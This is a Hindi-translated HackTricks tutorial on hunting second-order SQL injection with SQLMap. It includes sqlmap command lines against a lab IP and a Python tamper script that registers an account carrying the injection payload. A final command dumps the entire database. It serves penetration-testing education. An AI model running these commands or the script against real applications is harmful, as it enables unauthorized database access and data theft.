Hindi - Ht

Second Order Injection - SQLMap

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

SQLMap सेकंड ऑर्डर SQLis का शिकार कर सकता है। आपको प्रदान करना होगा:

  • वह अनुरोध जहां sqlinjection payload सहेजा जाएगा

  • वह अनुरोध जहां पेलोड को क्रियान्वित किया जाएगा

SQL इंजेक्शन पेलोड को सहेजा जाता है वह अनुरोध sqlmap में किसी भी अन्य इंजेक्शन के रूप में दर्शाया जाता है। इंजेक्शन के आउटपुट/क्रियान्वयन को sqlmap पढ़ सकता है उस अनुरोध को --second-url या --second-req के साथ दर्शाया जा सकता है यदि आपको एक पूर्ण अनुरोध को दर्शाने की आवश्यकता है।

सरल सेकंड ऑर्डर उदाहरण:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

कई मामलों में यह काफी नहीं होगा क्योंकि आपको पेज को भेजने और एक विभिन्न पेज तक पहुंचने के अलावा अन्य कार्रवाई करनी होगी।

जब यह आवश्यक होता है, तो आप sqlmap tamper का उपयोग कर सकते हैं। उदाहरण के लिए निम्नलिखित स्क्रिप्ट एक नए उपयोक्ता को sqlmap payload के रूप में ईमेल के रूप में रजिस्टर करेगा और लॉगआउट करेगा।

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

एक SQLMap टैम्पर हमेशा एक पेलोड के साथ इंजेक्शन की कोशिश शुरू करने से पहले चलाया जाता है और इसे एक पेलोड वापस करना होता है। इस मामले में हमें पेलोड की परवाह नहीं है लेकिन हमें कुछ अनुरोध भेजने की परवाह है, इसलिए पेलोड बदला नहीं जाता।

इसलिए, अगर किसी कारणवश हमें दूसरे क्रम की SQL इंजेक्शन का शिकार करने के लिए एक अधिक जटिल फ्लो की आवश्यकता होती है जैसे:

  • "ईमेल" फ़ील्ड में SQLi पेलोड के साथ एक खाता बनाएं

  • लॉगआउट

  • उस खाते से लॉगिन करें (login.txt)

  • SQL इंजेक्शन को निष्पादित करने के लिए एक अनुरोध भेजें (second.txt)

यह sqlmap लाइन मदद करेगी:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

PreviousSQLMap - CheetsheatNextSSRF (Server Side Request Forgery)

Last updated